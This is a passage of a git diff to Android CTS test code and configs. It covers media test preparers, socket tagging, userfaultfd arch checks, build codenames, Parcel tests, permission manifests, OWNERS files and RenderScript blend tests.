-        <option name="config-filename" value="CtsMediaMuxerTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.muxer.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/player/AndroidTest.xml b/tests/tests/media/player/AndroidTest.xml
index e3e8b02..a0041ac 100644
--- a/tests/tests/media/player/AndroidTest.xml
+++ b/tests/tests/media/player/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaPlayerTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaPlayerTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaPlayerTestCases-1.0" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaPlayerTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaPlayerTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.player.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/net/native/src/TagSocketTest.cpp b/tests/tests/net/native/src/TagSocketTest.cpp
index 75d83d5..253dc5a 100644
--- a/tests/tests/net/native/src/TagSocketTest.cpp
+++ b/tests/tests/net/native/src/TagSocketTest.cpp
@@ -79,6 +79,15 @@
   return true;
 }
 
+bool waitSocketIsNotTagged(const sp<IBinder>& binder, uint64_t cookie,
+                           int maxTries) {
+    for (int i = 0; i < maxTries; ++i) {
+        if (socketIsNotTagged(binder, cookie)) return true;
+        usleep(50 * 1000);
+    }
+    return false;
+}
+
 }  // namespace
 
 TEST_F(TagSocketTest, TagSocket) {
@@ -98,6 +107,11 @@
   EXPECT_TRUE(socketIsTagged(mBinder, cookie, TEST_UID, TEST_TAG));
   EXPECT_EQ(0, android_untag_socket(sock));
   EXPECT_TRUE(socketIsNotTagged(mBinder, cookie));
+
+  EXPECT_EQ(0, android_tag_socket(sock, TEST_TAG));
+  EXPECT_TRUE(socketIsTagged(mBinder, cookie, geteuid(), TEST_TAG));
+  EXPECT_EQ(0, close(sock));
+  EXPECT_TRUE(waitSocketIsNotTagged(mBinder, cookie, 100 /* maxTries */));
 }
 
 TEST_F(TagSocketTest, TagSocketErrors) {
diff --git a/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc b/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
index 8c17a72f..8533d7e 100644
--- a/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
+++ b/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
@@ -16,6 +16,7 @@
 #include "jni.h"
 
 #include <cstring>
+#include <cassert>
 
 #include <errno.h>
 #include <fcntl.h>
@@ -118,9 +119,9 @@
 
   int major, minor;
   struct utsname uts;
-  if (uname(&uts) != 0 ||
-      strcmp(uts.sysname, "Linux") != 0 ||
-      sscanf(uts.release, "%d.%d", &major, &minor) != 2 ||
+  uname(&uts);
+  assert(strcmp(uts.sysname, "Linux") == 0);
+  if (sscanf(uts.release, "%d.%d", &major, &minor) != 2 ||
       (major < kRequiredMajor || (major == kRequiredMajor && minor < kRequiredMinor))) {
     return false;
   }
@@ -131,6 +132,22 @@
 }
 
 extern "C"
+JNIEXPORT bool JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_confirmKernelArch64bit(JNIEnv*) {
+#if defined(__linux__)
+  struct utsname uts;
+  uname(&uts);
+  assert(strcmp(uts.sysname, "Linux") == 0);
+  if (strstr(uts.machine, "64") != nullptr ||
+      strstr(uts.machine, "armv8") == uts.machine) {
+    return true;
+  }
+  return false;
+#else
+  return false;
+#endif
+}
+
+extern "C"
 JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performKernelSpaceUffd(JNIEnv*) {
   int ret = 0, write_fd = 0;
   void* addr = nullptr;
diff --git a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
index 5291752..2f092a6 100644
--- a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
+++ b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
@@ -39,8 +39,8 @@
   @Before
   public void setUp() {
       boolean mShouldRunTest = !(FeatureUtil.isAutomotive()
-              && ApiLevelUtil.isAtMost(VERSION_CODES.S));
-      Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S", mShouldRunTest);
+              && ApiLevelUtil.isAtMost(VERSION_CODES.S_V2));
+      Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S_V2", mShouldRunTest);
       Assume.assumeTrue("Skip userfaultfd tests on kernels lower than 5.4", confirmKernelVersion());
   }
 
@@ -71,6 +71,8 @@
   // Test if userfaultfd works for minor-faults on shmem.
   @Test
   public void minorUserfaultfd() {
+    // minor fault feature is not enabled on 32-bit kernel archs.
+    Assume.assumeTrue(confirmKernelArch64bit());
     assertEquals(0, performMinorUffd());
   }
 
@@ -82,6 +84,7 @@
     assertEquals(13, checkGetattr());
   }
 
+  private native boolean confirmKernelArch64bit();
   private native boolean confirmKernelVersion();
   private native int performKernelSpaceUffd();
   private native int uffdWithoutUserModeOnly();
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index c75ad0c..91da44c 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1,3 +1,4 @@
 S
 Sv2
 Tiramisu
+UpsideDownCake
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index 2aedad2..3b8df0b 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -60,6 +60,12 @@
      * Verify that the CPU ABI fields on device match the permitted ABIs defined by CDD.
      */
     public void testCpuAbi_valuesMatchPermitted() throws Exception {
+        for (String abi : Build.SUPPORTED_ABIS) {
+            if (abi.endsWith("-hwasan")) {
+                // HWASan builds are not official builds and support *-hwasan ABIs.
+                return;
+            }
+        }
         // The permitted ABIs are listed in https://developer.android.com/ndk/guides/abis.
         Set<String> just32 = new HashSet<>(Arrays.asList("armeabi", "armeabi-v7a", "x86"));
         Set<String> just64 = new HashSet<>(Arrays.asList("x86_64", "arm64-v8a"));
@@ -312,7 +318,9 @@
                     // should at least be a conscious decision.
                     assertEquals(10000, fieldValue);
                 } else {
-                    if (activeCodenames.contains(fieldName)) {
+                    // Remove all underscores to match build level codenames, e.g. S_V2 is Sv2.
+                    String fieldNameWithoutUnderscores = fieldName.replaceAll("_", "");
+                    if (activeCodenames.contains(fieldNameWithoutUnderscores)) {
                         // This is the current development version. Note that fieldName can
                         // become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
                         // can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
@@ -322,15 +330,10 @@
                         assertTrue("Expected " + fieldName + " value to be < " + CUR_DEVELOPMENT
                                 + ", got " + fieldValue, fieldValue < CUR_DEVELOPMENT);
                     }
-                    // KNOWN_CODENAMES only tracks Q+ codenames
-                    if (fieldValue >= Build.VERSION_CODES.Q) {
-                        // Remove all underscores to match build level codenames, e.g. S_V2 is Sv2.
-                        String name = fieldName.replaceAll("_", "");
-                        declaredCodenames.add(name);
-                        assertTrue("Expected " + name
+                    declaredCodenames.add(fieldNameWithoutUnderscores);
+                    assertTrue("Expected " + fieldNameWithoutUnderscores
                                         + " to be declared in Build.VERSION.KNOWN_CODENAMES",
-                                knownCodenames.contains(name));
-                    }
+                            knownCodenames.contains(fieldNameWithoutUnderscores));
                 }
             }
         }
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 6faf654..fa03ba0 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -53,6 +53,8 @@
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertThrows;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
 
 public class ParcelTest extends AndroidTestCase {
 
@@ -2520,6 +2522,23 @@
         p.recycle();
     }
 
+    public void testWriteTypedList() {
+        Parcel p = Parcel.obtain();
+        ArrayList<SimpleParcelable> list = new ArrayList<>();
+        SimpleParcelable spy = spy(new SimpleParcelable(42));
+        list.add(spy);
+        int flags = Parcelable.PARCELABLE_WRITE_RETURN_VALUE;
+        p.writeTypedList(list, flags);
+
+        verify(spy).writeToParcel(p, flags);
+
+        p.setDataPosition(0);
+        ArrayList<SimpleParcelable> read = p.createTypedArrayList(SimpleParcelable.CREATOR);
+        assertEquals(list.size(), read.size());
+        assertEquals(list.get(0).getValue(), read.get(0).getValue());
+        p.recycle();
+    }
+
     public void testCreateTypedArrayList() {
         Parcel p;
         ArrayList<Signature> s = new ArrayList<Signature>();
@@ -4636,4 +4655,69 @@
         p = Parcel.obtain();
         assertEquals(0, p.getFlags());
     }
+
+    public static class SimpleParcelableWithoutNestedCreator implements Parcelable {
+        private final int value;
+
+        public SimpleParcelableWithoutNestedCreator(int value) {
+            this.value = value;
+        }
+
+        private SimpleParcelableWithoutNestedCreator(Parcel in) {
+            this.value = in.readInt();
+        }
+
+        public int getValue() {
+            return value;
+        }
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        @Override
+        public void writeToParcel(Parcel out, int flags) {
+            out.writeInt(value);
+        }
+
+        public static Parcelable.Creator<SimpleParcelableWithoutNestedCreator> CREATOR =
+                new SimpleParcelableWithoutNestedCreatorCreator();
+    }
+
+    public static class SimpleParcelableWithoutNestedCreatorCreator implements
+            Parcelable.Creator<SimpleParcelableWithoutNestedCreator> {
+        @Override
+        public SimpleParcelableWithoutNestedCreator createFromParcel(Parcel source) {
+            return new SimpleParcelableWithoutNestedCreator(source);
+        }
+
+        @Override
+        public SimpleParcelableWithoutNestedCreator[] newArray(int size) {
+            return new SimpleParcelableWithoutNestedCreator[size];
+        }
+    }
+
+    // http://b/232589966
+    public void testReadParcelableWithoutNestedCreator() {
+        Parcel p = Parcel.obtain();
+        p.writeParcelable(new SimpleParcelableWithoutNestedCreator(1), 0);
+        p.setDataPosition(0);
+        // First time checks the type of the creator using reflection
+        SimpleParcelableWithoutNestedCreator parcelable =
+                p.readParcelable(getClass().getClassLoader(),
+                        SimpleParcelableWithoutNestedCreator.class);
+        assertEquals(1, parcelable.value);
+        p.recycle();
+
+        p = Parcel.obtain();
+        p.writeParcelable(new SimpleParcelableWithoutNestedCreator(2), 0);
+        p.setDataPosition(0);
+        // Second time tries to read it from a cache
+        parcelable =
+                p.readParcelable(getClass().getClassLoader(),
+                        SimpleParcelableWithoutNestedCreator.class);
+        assertEquals(2, parcelable.value);
+        p.recycle();
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java b/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java
index 595048d..35e12d3 100644
--- a/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java
+++ b/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java
@@ -23,6 +23,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Range;
 
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -98,6 +99,7 @@
         }
     }
 
+    @AppModeFull(reason = "Cannot bind socket in instant app mode")
     @Test
     public void testCurrentNetworkTimeClock() throws Exception {
         // Start a local SNTP test server. But does not setup a fake response.
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index f243b3b..e787113 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -41,6 +41,8 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.UiAutomatorUtils;
 
+import android.app.DreamManager;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
@@ -70,7 +72,6 @@
             UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
     private final ActivityManager mActivityManager =
             mContext.getSystemService(ActivityManager.class);
-
     private String mOldOneTimePermissionTimeoutValue;
 
     @Rule
@@ -235,8 +236,14 @@
         try {
             new Thread(() -> {
                 while (!hasExited[0]) {
+                    DreamManager mDreamManager = mContext.getSystemService(DreamManager.class);
                     mUiDevice.pressHome();
                     mUiDevice.pressBack();
+                    runWithShellPermissionIdentity(() -> {
+                        if (mDreamManager.isDreaming()) {
+                            mDreamManager.stopDream();
+                        }
+                    });
                     try {
                         Thread.sleep(1000);
                     } catch (InterruptedException e) {
diff --git a/tests/tests/permission2/res/raw/OWNERS b/tests/tests/permission2/res/raw/OWNERS
index 0caf02b..30c2543 100644
--- a/tests/tests/permission2/res/raw/OWNERS
+++ b/tests/tests/permission2/res/raw/OWNERS
@@ -1,10 +1,8 @@
-svetoslavganov@google.com
 cbrubaker@google.com
 hackbod@google.com
-toddke@google.com
 patb@google.com
 yamasani@google.com
 michaelwr@google.com
 narayan@google.com
 roosa@google.com
-per-file automotive_android_manifest.xml = sgurun@google.com
\ No newline at end of file
+per-file automotive_android_manifest.xml = sgurun@google.com,keunyoung@google.com,felipeal@google.com,skeys@google.com
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 2eccd0d..73dff93 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -6281,10 +6281,6 @@
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
 
-        <service android:name="com.android.server.timezone.TimeZoneUpdateIdler"
-                 android:permission="android.permission.BIND_JOB_SERVICE" >
-        </service>
-
         <service android:name="com.android.server.usage.UsageStatsIdleService"
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 4117a78..d6ce2e1 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -435,11 +435,6 @@
         android:label="@string/car_permission_label_collect_car_watchdog_metrics"
         android:description="@string/car_permission_desc_collect_car_watchdog_metrics"/>
 
-    <permission android:name="android.car.permission.USE_CAR_TELEMETRY_SERVICE"
-        android:protectionLevel="signature|privileged"
-        android:label="@string/car_permission_label_use_telemetry_service"
-        android:description="@string/car_permission_desc_use_telemetry_service"/>
-
     <permission android:name="android.car.permission.CONTROL_CAR_EVS_ACTIVITY"
         android:protectionLevel="signature|privileged"
         android:label="@string/car_permission_label_control_evs_activity"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 35ed018..3b20f6d 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -67,6 +67,9 @@
     private static final String MANAGE_COMPANION_DEVICES_PERMISSION
             = "android.permission.MANAGE_COMPANION_DEVICES";
 
+    private static final String ALLOW_SLIPPERY_TOUCHES_PERMISSION
+            = "android.permission.ALLOW_SLIPPERY_TOUCHES";
+
     private static final String LOG_TAG = "PermissionProtectionTest";
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -441,6 +444,9 @@
                 return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
             case MANAGE_COMPANION_DEVICES_PERMISSION:
                 return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+            case ALLOW_SLIPPERY_TOUCHES_PERMISSION:
+                // In R and S branches, skip this permission
+                return true;
             default:
                 return false;
         }
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index 22b0aa2..bb0fd4b 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -22,7 +22,6 @@
     name: "CtsPermission4TestCases",
     sdk_version: "test_current",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     srcs: [
         "src/**/*.kt",
     ],
diff --git a/tests/tests/permission5/OWNERS b/tests/tests/permission5/OWNERS
index febd665..6e91130 100644
--- a/tests/tests/permission5/OWNERS
+++ b/tests/tests/permission5/OWNERS
@@ -1,7 +1,7 @@
 # Bug component: 137825
-svetoslavganov@google.com
+narayan@google.com
 zhanghai@google.com
 eugenesusla@google.com
 evanseverson@google.com
 ntmyren@google.com
-ewol@google.com
+ashfall@google.com
diff --git a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
index 8cff38a..67fa1bc 100644
--- a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
+++ b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
@@ -25,6 +25,7 @@
 import android.content.ContextParams
 import android.content.Intent
 import android.content.pm.PackageManager.FEATURE_LEANBACK
+import android.content.pm.PackageManager.FEATURE_TELEPHONY
 import android.net.Uri
 import android.os.Bundle
 import android.os.Process
@@ -44,6 +45,7 @@
 import com.google.common.truth.Truth.assertThat
 import org.junit.After
 import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
 import org.junit.Before
 import org.junit.Test
 import org.mockito.ArgumentMatcher
@@ -105,6 +107,7 @@
     @Throws(Exception::class)
     fun testSelfSmsAccess() {
         assumeNotTv()
+        assumeHasTelephony()
         testSelfAccess(Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
     }
@@ -178,6 +181,7 @@
     @Throws(Exception::class)
     fun testUntrustedSmsAccessAttributeToAnother() {
         assumeNotTv()
+        assumeHasTelephony()
         testUntrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
     }
@@ -225,6 +229,7 @@
     @Throws(Exception::class)
     fun testUntrustedSmsAccessAttributeToAnotherThroughIntermediary() {
         assumeNotTv()
+        assumeHasTelephony()
         testUntrustedAccessAttributeToAnotherThroughIntermediary(
                 Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
@@ -323,6 +328,7 @@
     @Throws(Exception::class)
     fun testTrustedAccessSmsAttributeToAnother() {
         assumeNotTv()
+        assumeHasTelephony()
         testTrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
     }
@@ -666,6 +672,7 @@
             get() = InstrumentationRegistry.getInstrumentation()
 
         private val isTv = context.packageManager.hasSystemFeature(FEATURE_LEANBACK)
+        private val isTel = context.packageManager.hasSystemFeature(FEATURE_TELEPHONY)
 
         fun ensureAuxiliaryAppsNotRunningAndNoResidualProcessState() {
             SystemUtil.runShellCommand("am force-stop $RECEIVER_PACKAGE_NAME")
@@ -1178,5 +1185,6 @@
         }
 
         private fun assumeNotTv() = assumeFalse(isTv)
+        private fun assumeHasTelephony() = assumeTrue(isTel)
     }
 }
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceRecycleTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceRecycleTest.java
index f678d55..567c9d1 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceRecycleTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceRecycleTest.java
@@ -16,7 +16,6 @@
 
 package android.preference.cts;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
@@ -86,25 +85,7 @@
         RecycleCheckPreference noRecyclePref =
                 (RecycleCheckPreference) screen.findPreference("pref_checkbox_no_recycle");
 
-        // At the beginning the views must be always created (no recycling involved).
-        assertEquals(1, recyclePref.getViewCalledCnt);
-        assertTrue(recyclePref.wasConvertViewNullInLastCall);
-
-        assertEquals(1, noRecyclePref.getViewCalledCnt);
-        assertTrue(noRecyclePref.wasConvertViewNullInLastCall);
-
-        // Change a value of some pref to force the list to refresh
-        mActivityRule.runOnUiThread(() -> recyclePref.setChecked(!recyclePref.isChecked()));
-
-        // Wait for the list to refresh
-        PollingCheck.waitFor(TIMEOUT_MS,
-                () -> recyclePref.getViewCalledCnt == 2 && noRecyclePref.getViewCalledCnt == 2);
-
-        assertEquals(2, recyclePref.getViewCalledCnt);
-        assertFalse(recyclePref.wasConvertViewNullInLastCall); // Recycling
-
-        assertEquals(2, noRecyclePref.getViewCalledCnt);
-        assertTrue(noRecyclePref.wasConvertViewNullInLastCall); // Not recycling
+        assertRecycle(recyclePref, noRecyclePref);
     }
 
     /**
@@ -140,8 +121,12 @@
         RecycleCheckPreference noRecyclePref =
                 (RecycleCheckPreference) screen.findPreference("noRecyclePref");
 
-        // Wait for the views to be created (because we may scroll the screen to display the
-        // latest views, these views may get refreshed more than once).
+        assertRecycle(recyclePref, noRecyclePref);
+    }
+
+    private void assertRecycle(RecycleCheckPreference recyclePref,
+            RecycleCheckPreference noRecyclePref) throws Throwable {
+        // Wait for the views to be created.
         PollingCheck.waitFor(TIMEOUT_MS,
                 () -> recyclePref.getViewCalledCnt > 0 && noRecyclePref.getViewCalledCnt > 0);
 
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
index 1e318ea..7c9a6b2 100644
--- a/tests/tests/provider/OWNERS
+++ b/tests/tests/provider/OWNERS
@@ -1,7 +1,13 @@
-# Bug component: 655625
-
-include platform/frameworks/base:/core/java/android/os/storage/OWNERS
-
 tgunn@google.com
 nicksauer@google.com
 nona@google.com
+
+# Storage team ownership
+
+# Bug component: 655625 = per-file *MediaStore*
+
+per-file *MediaStore* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file Android.bp = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file AndroidManifest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file AndroidTest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file OWNERS = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/tests/tests/renderscript/Android.bp b/tests/tests/renderscript/Android.bp
index 4011075..1934bb6 100644
--- a/tests/tests/renderscript/Android.bp
+++ b/tests/tests/renderscript/Android.bp
@@ -23,6 +23,7 @@
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
     static_libs: [
+        "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "xmp_toolkit",
     ],
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
index c069760..88b2b75 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
@@ -16,6 +16,9 @@
 
 package android.renderscript.cts;
 
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+
 import android.renderscript.Allocation;
 
 import android.renderscript.Byte2;
@@ -61,6 +64,8 @@
 import android.renderscript.ScriptIntrinsicLUT;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 public class ImageProcessingTest extends RSBaseCompute {
     private Allocation a1, a2;
 
@@ -109,6 +114,7 @@
         mBlur.destroy();
     }
 
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
     public void testBlend() {
         ScriptIntrinsicBlend mBlend;
         mBlend = ScriptIntrinsicBlend.create(mRS, Element.U8_4(mRS));
@@ -119,9 +125,8 @@
         byte[] srcData = new byte[w * h * 4];
         byte[] dstData = new byte[w * h * 4];
         byte[] resultData = new byte[w * h * 4];
-        Script.LaunchOptions opt = new Script.LaunchOptions();
-        // unclipped but with options
-        for (int i = 0; i < 28; i++) {
+
+        for (int i = 0; i < 14; i++) {
             buildSrc(srcData, w, h);
             buildDst(dstData, w, h);
             src.copyFromUnchecked(srcData);
@@ -170,51 +175,79 @@
                 case 13:
                     mBlend.forEachMultiply(src, dst);
                     break;
-                case 14:
+            }
+            dst.copyTo(resultData);
+            String name = javaBlend(i, srcData, dstData, 0, w, 0, h, w);
+            assertTrue(name, similar(resultData,dstData));
+            Log.v("BlendUnit", name + " " + similar(resultData, dstData));
+        }
+
+        // Do the same but passing LaunchOptions
+        int xStart = 0;
+        int xEnd = w;
+        int yStart = 0;
+        int yEnd = h;
+        // LaunchOptions tests with restricted range are new tests added in T, so only test them
+        // when the vendor partition has version >= T.
+        if (PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            xStart = 10;
+            xEnd = 20;
+            yStart = 3;
+            yEnd = 6;
+        }
+        Script.LaunchOptions opt = new Script.LaunchOptions();
+        opt.setX(xStart, xEnd).setY(yStart, yEnd);
+        for (int i = 0; i < 14; i++) {
+            buildSrc(srcData, w, h);
+            buildDst(dstData, w, h);
+            src.copyFromUnchecked(srcData);
+            dst.copyFromUnchecked(dstData);
+            switch (i) {
+                case 0:
                     mBlend.forEachSrc(src, dst, opt);
                     break;
-                case 15:
+                case 1:
                     mBlend.forEachDst(src, dst, opt);
                     break;
-                case 16:
+                case 2:
                     mBlend.forEachSrcOver(src, dst, opt);
                     break;
-                case 17:
+                case 3:
                     mBlend.forEachDstOver(src, dst, opt);
                     break;
-                case 18:
+                case 4:
                     mBlend.forEachSrcIn(src, dst, opt);
                     break;
-                case 19:
+                case 5:
                     mBlend.forEachDstIn(src, dst, opt);
                     break;
-                case 20:
+                case 6:
                     mBlend.forEachSrcOut(src, dst, opt);
                     break;
-                case 21:
+                case 7:
                     mBlend.forEachDstOut(src, dst, opt);
                     break;
-                case 22:
+                case 8:
                     mBlend.forEachSrcAtop(src, dst, opt);
                     break;
-                case 23:
+                case 9:
                     mBlend.forEachDstAtop(src, dst, opt);
                     break;
-                case 24:
+                case 10:
                     mBlend.forEachXor(src, dst, opt);
                     break;
-                case 25:
+                case 11:
                     mBlend.forEachAdd(src, dst, opt);
                     break;
-                case 26:
+                case 12:
                     mBlend.forEachSubtract(src, dst, opt);
                     break;
-                case 27:
+                case 13:
                     mBlend.forEachMultiply(src, dst, opt);
                     break;
             }
             dst.copyTo(resultData);
-            String name = javaBlend(i%14, srcData, dstData);
+            String name = javaBlend(i, srcData, dstData, xStart, xEnd, yStart, yEnd, w);
             assertTrue(name, similar(resultData,dstData));
             Log.v("BlendUnit", name + " " + similar(resultData, dstData));
 
@@ -260,6 +293,18 @@
             srcData[i * 4 + 2] = (byte) 0; // blue
             srcData[i * 4 + 3] = (byte) y; // alpha
         }
+        // Manually set a few known problematic values.
+        // These created problems for SRC_OVER, SRC_ATOP
+        srcData[0] = 230 - 256;
+        srcData[1] = 200 - 256;
+        srcData[2] = 210 - 256;
+        srcData[3] = 7;
+
+        // These created problems for DST_OVER, DST_ATOP,
+        srcData[4] = 230 - 255;
+        srcData[5] = 200 - 256;
+        srcData[6] = 210 - 256;
+        srcData[7] = 245 - 256;
     }
 
     // Build a test pattern to be the destination pattern designed to provide a wide range of values
@@ -273,18 +318,29 @@
             dstData[i * 4 + 2] = (byte) y; // blue
             dstData[i * 4 + 3] = (byte) x; // alpha
         }
+        // Manually set a few known problematic values
+        dstData[0] = 170 - 256;
+        dstData[1] = 180 - 256;
+        dstData[2] = 230 - 256;
+        dstData[3] = 245 - 256;
 
+        dstData[4] = 170 - 256;
+        dstData[5] = 180 - 256;
+        dstData[6] = 230 - 256;
+        dstData[7] = 9;
     }
 
-    public String javaBlend(int type, byte[] src, byte[] dst) {
-
-        for (int i = 0; i < dst.length; i += 4) {
-            byte[] rgba = func[type].filter(src[i], src[i + 1], src[i + 2], src[i + 3],
-                    dst[i], dst[i + 1], dst[i + 2], dst[i + 3]);
-            dst[i] = rgba[0];
-            dst[i + 1] = rgba[1];
-            dst[i + 2] = rgba[2];
-            dst[i + 3] = rgba[3];
+    public String javaBlend(int type, byte[] src, byte[] dst, int xStart, int xEnd, int yStart, int yEnd, int width) {
+        for (int y = yStart; y < yEnd; y++) {
+            for (int x = xStart; x < xEnd; x++) {
+                int i = (y * width + x) * 4;
+                byte[] rgba = func[type].filter(src[i], src[i + 1], src[i + 2], src[i + 3],
+                        dst[i], dst[i + 1], dst[i + 2], dst[i + 3]);
+                dst[i] = rgba[0];
+                dst[i + 1] = rgba[1];
+                dst[i + 2] = rgba[2];
+                dst[i + 3] = rgba[3];
+            }
         }
         return func[type].name;
     }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
index e542f37..a939db4 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
@@ -16,15 +16,24 @@
 
 package android.renderscript.cts;
